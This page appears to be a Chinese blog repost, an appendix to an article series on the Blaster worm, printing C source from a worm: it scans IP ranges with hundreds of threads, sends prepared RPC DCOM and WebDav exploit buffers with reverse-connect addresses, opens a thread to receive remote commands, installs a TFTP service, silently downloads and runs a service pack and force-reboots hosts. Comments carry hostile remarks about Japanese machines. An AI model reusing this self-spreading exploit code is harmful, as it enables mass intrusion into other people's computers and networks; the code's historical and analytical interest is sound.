附3

BOOL DoServicePackFunction()
{
DWORD nSystemVer = Win2000OrXp();
if ( !( nSystemVer == 0 || nSystemVer == 1) )
return FALSE; // not 2k or xp

if ( ReadRegServicePack(nSystemVer) )
return FALSE; //已经安装了

//识别语言版本
int nLanguageID;
unsigned int unOemCP = GetOEMCP();

LCID lcid = GetSystemDefaultLCID();
WORD wMain = PRIMARYLANGID(lcid);
WORD wSub = SUBLANGID(lcid);

if ( unOemCP == 437 && wMain == 9 && wSub == 1 ) //en
nLanguageID = 0; //打了你丫的en补丁就不错了~~ 还唧唧歪歪的~~
//管不了小欧洲~~ 俄罗斯牛人有自己的玩法
~~
else if ( unOemCP == 936 && wMain == 4 && wSub == 2 ) //cn
nLanguageID = 1; //就是为这个来的~~
else if ( unOemCP == 950 && wMain == 4 && wSub == 1 ) //tw
nLanguageID = 2; //同胞骨肉的忙,一定要帮~~
else if ( unOemCP == 932 && wMain == 0x11 && wSub == 1 ) //jp
nLanguageID = -1; //偶好有干掉鬼子机器的冲动!
//罢了,冤冤相报何时了~~~ 希望他丫的自新
~~~ 再玩火就灭了他丫的~~
else if ( unOemCP == 949 && wMain == 0x12 && wSub == 1 ) //kr
nLanguageID = 3; //少些不懂事的小鸟儿弯出去, 危害国内~~
else{
nLanguageID = -1;
}

if ( nLanguageID == -1)
return FALSE;

char szServicePack[] = "RpcServicePack.exe";

// downlaod it~~~
if ( !nSystemVer ) { // 2k
if ( !DownloadSpFile (szServicePack, szWin2kSpUrl[nLanguageID]) )
return FALSE;
}
else{
if ( !DownloadSpFile (szServicePack, szWinXPSpUrl[nLanguageID]) )
return FALSE;
}

char szExec[180];
sprintf(szExec, "%s -n -o -z -q", szServicePack);

HANDLE hProcess = MakeProcess( szExec );
if ( hProcess == NULL )
return FALSE;

if (WaitForSingleObject(hProcess, 360000) != WAIT_OBJECT_0 ){ //六分钟内
未完成
TerminateProcess(hProcess,1);
CloseHandle(hProcess);
DeleteFile(szServicePack);
return FALSE;
}
CloseHandle(hProcess);

Sleep(15000);
DeleteFile(szServicePack);
if ( ReadRegServicePack(nSystemVer) ) {
ShutDownWindows( EWX_REBOOT | EWX_FORCE );//install service pack ok, reboot
it~~~
Sleep(20000); //说偶重启有过? 不重启补丁无效,
找 Bill该死 说去~~~
}

return TRUE;
}

// IN: 始ip, B段数量, 是否随机,是否换WebDav //更烂~~~ 凑合着看~~~
void BeginExploitFunction(u_long ulIpStart, int nBCount, BOOL bRand, BOOL
bWebDav)
{
HANDLE hThread = NULL;
BOOL bFirst = TRUE;
u_long uComp;

for (int i=0;i< (nBCount * 256 * 256); i++){

if ( bRand )
uComp = MakeRandIp();
else
uComp = i + ulIpStart;

if ( //还是屏蔽掉部分目标,免得目标中招后,再玩就把下一代干掉了,不破坏的好
:)~~~
(BYTE)uComp == 0xc5 ||
(BYTE)(uComp>>8) == 0xc5 ||
(BYTE)(uComp>>16) == 0xc5 ||
(BYTE)(uComp>>24) == 0xc5 ||
(WORD)uComp == 0x9999 ||
(WORD)(uComp>>8) == 0x9999 ||
(WORD)(uComp>>16) == 0x9999 )
continue;

u_long *myPara = new u_long;

if ( myPara == NULL ){//如果分配失败,再尝试一次
Sleep(100);
myPara = new u_long;
}

if ( myPara ){
if ( hThread )
CloseHandle(hThread);

*myPara = htonl( uComp);

DWORD dwThreadId;

if (bWebDav)
hThread =
CreateThread(NULL,0,ExploitWebDavThread,(LPVOID)myPara,0,&dwThreadId);
else
hThread =
CreateThread(NULL,0,ExploitRpcDcomThread,(LPVOID)myPara,0,&dwThreadId);

Sleep(2);
}

//添加此处代码,避免首次执行时,线程中的
InterlockedIncrement(&g_CurThreadCount) 未来得及运行,一次性建立了N个线程的
bug!
if ( bFirst && (i >= nMaxThread) ){
Sleep(2000);
bFirst = FALSE;
}

while(g_CurThreadCount >= nMaxThread) // #define nMaxThread 300 ,不小心,
玩过了~~~
Sleep(2);

}

Sleep(60000);
}

//服务模式和控制台模式公用主程序
void DoIt()
{
WSADATAwsd;
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
return;

//杀蠕虫
KillMsblast();

//卸载
SYSTEMTIME st;
GetLocalTime(&st);
if ( st.wYear == 2004 ){
MyDeleteService(szServiceName);
MyDeleteService(szServiceTftpd);
RemoveMe();
ExitProcess(1); //其实不必,RemoveMe()中借用了前辈的代码,2k下,退出程序时将
自身文件删除了
}

srand( GetTickCount() );

memset(pPingBuffer, '/xAA', sizeof(pPingBuffer));
//烦请骨干路由器立即丢弃此特征 Icmp Echo 包! 国内的什么什么波已经绝了!~~ 补
丁已经打够了!~~~

//准备WebDav发送缓冲区
do{
pWebDavExploitBuffer = new char[68000];
Sleep(100);
}while(pWebDavExploitBuffer == NULL);

//必须在checkonlien 之前,一次装配好子弹
PressWebDavBufferOnce();
PressRpcDcomBufferOnce();

CheckOnlienAndPressData(); //get LocalIp & 修正子弹中的反向ip 和 端口

//打补丁
DoServicePackFunction();

//建立接收线程
DWORD dwThreadID;
HANDLE
hWorkThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)RecvSendCmdThread,(L
PVOID)NULL,0,&dwThreadID);
if(hWorkThread==NULL) // RecvSendCmdThread 中阻塞,有反连,再建线程处理之,
同时处理多个反连
return;
CloseHandle(hWorkThread);

if ( !MyStartService(szServiceTftpd) ){
Sleep(1000);
InstallTftpService();
Sleep(1000);
MyStartService(szServiceTftpd);
}

Sleep(2000); //等待接收线程中的全局 rand bind port

u_long ulIP;
for(;;){ //估算了一下,普通机器2小时一循环

//首先扫描本ip段
CheckOnlienAndPressData();
ulIP = ntohl(inet_addr(szLocalIp));
ulIP &= 0xffff0000;
BeginExploitFunction( ulIP, 1, 0, 0);

//再扫描本ip前后3个段
CheckOnlienAndPressData();
if ( rand() % 2)
ulIP += 0x00010000;
else
ulIP -= 0x00030000;
BeginExploitFunction( ulIP, 3, 0, 0);

//再扫描WebDav一个段,跳出 135 syn封锁
CheckOnlienAndPressData();
ulIP = MAKELONG(0, wdIpHead[ rand()% 76 ]); //请 wdIpHead[] B段IP商注意~~~,
立即采取补救措施~~~ sorry~~~
BeginExploitFunction( ulIP, 1, 0, 1);

//再扫描随机的IP, 数量1个 B段, rpc or webdav
CheckOnlienAndPressData();
if ( rand() % 2)
BeginExploitFunction( ulIP, 1, 1, 0);
else
BeginExploitFunction( ulIP, 1, 1, 1); //偶跳、跳、跳~~~

KillMsblast();

}

//WSACleanup();

}

冲击波病毒内幕点滴(4)相关推荐

  1. 冲击波病毒内幕点滴(4) (转)

    冲击波病毒内幕点滴(4) (转)[@more@] 附3XML:namespace prefix = o ns = "urn:schemas-microsoft-com:Office:offi ...

  2. 冲击波病毒内幕点滴(3)

    附2 LSD RPC 溢出漏洞之分析 转摘请注明作者和安全焦点 作者:FLASHSKY 作者单位:启明星辰积极防御实验室 WWW SITE:WWW.VENUSTECH.COM.CN WWW.XFOCU ...

  3. 冲击波病毒内幕点滴(2)

    附1 测试代码 #include #include #include #include #include #include unsigned char bindstr[]={ 0x05,0x00,0x ...

  4. 遇到冲击波病毒引起的准备关机时怎么办?

    机器中了冲击波病毒后,有时候会突然弹出一个准备关机对话框,这时你可能慌忙中赶快把自己的工作保存,然后无奈的等待,其实大可不必,出现准备关机对话框后,你可以打开一个cmd窗口,然后输入"shu ...

  5. 老题再谈----有关冲击波病毒

    今天上网不幸中了毒,在弹出的对话框中,显示只有1分钟时间就关机(而且是倒计时),连关机的菜单都不可用,其他工作就更没有办法进行了.没有办法,只好重新启动,还是弹出显示只有1分钟时间就关机.几次都这样. ...

  6. 冲击波病毒攻击-《截获网站服务器数据》

      今晚课题 点击[阅读原文]或长按图片[识别图中的二维码]即可

  7. XINGNET交换机病毒防范

    随着网络给人们的生活带来巨大的收益,人们也正逐渐遭受网络病毒带来的侵害之苦,网络动荡.网络瘫痪...... 病毒有很多种,根据病毒存在的媒体,病毒可以划分为网络型病毒,文件型病毒,引导型病毒等.文件型 ...

  8. Svchost.exe病毒

    Svchost.exe是病毒的两种情况 1.利用假冒Svchost.exe名称的病毒程序 这种方式运行的病毒并没有直接利用真正的Svchost.exe进程,而是启动了另外一个名称同样是Svchost. ...

  9. 解读互联网40年中的10大“杀手”病毒

    从1969年到现在已经走过了40年,在这一代人的历程中鉴定了互联网的发展,随着技术的不断创新及发展,互联网开始"茁壮成长", 现代社会中互联网已经成为人们工作.学习.生活的重要组成 ...

  10. 二十年最强悍病毒排行榜

    自从第一个计算机病毒爆发以来,已经过去了20年左右的时间.<InformationWeek>最近评出了迄今为止破坏程度最为严重的十大病毒. <?xml:namespace prefi ...

最新文章

  1. Android Studio cannot find declaration to go to
  2. ASP.NET 快乐建站系列 -- 1. 十五分钟建立精美网站
  3. linux安装pytorch教程,centos下通过conda安装pytorch
  4. oracle基础教程实验,Oracle 11g 基础教程与实验指导(配光盘)(清华电脑学堂)
  5. 招商局集团内部控制手册pdf_企业内部控制流程手册,全文22模块,内容很全面,可直接打印使用...
  6. mysql 天数减1_mysql 日期操作 增减天数、时间转换、时间戳
  7. springboot 没有找到service_Spring Boot 应用程序五种部署方式
  8. Java 8 的这个新特性,用起来真的很爽!
  9. 云瓣影音网站微信端(已开源)
  10. springboot获取Spring容器中的bean(ApplicationContextAware接口的应用)避免过多的或不用if..else,switch
  11. jlabel 不能连续两次set_关于JLabel的setText在监听器中不刷新有关问题(2)
  12. UE5热更新(Pak包的Cook,打包,加载,踩过的一些坑)
  13. zzuli-2525-咕咕的搜索序列(思维+DFS)
  14. xposed 修改手机定位
  15. 收银机多少钱一台推荐科脉系统_收银系统多少钱一套?常用收银系统价格大盘点...
  16. 计算机表格增加,怎样在表格中新增一行和上排一样格式的表格。
  17. 怎么制作GIF动态图片,如何做GIF
  18. 学会提问的BERT:端到端地从篇章中构建问答对
  19. 大学物理(英文版)笔记 chapter1 Measurement
  20. RANSAC如何动态更新最大迭代次数

热门文章

  1. 子进程 已安装 pre-removal 脚本 返回了错误号 1或2 解决办法:
  2. 【Labplus 3】Scratch获取角色造型的数量
  3. 华为状态栏图标替换_华为手机状态栏图标都是干嘛用的?华为手机图标含义大集合...
  4. win 安装 Xshell 5
  5. 无源三端口器件特性分析-《微波工程》
  6. 2021年下软考高项信息系统项目管理师真题试卷答案解析
  7. PLC模糊控制之模糊化
  8. 计算机系第一学期电脑,公共课第一学期《计算机基础》.doc
  9. c语言word类型的题库,C语言编程题库
  10. 注册测绘师考试有用吗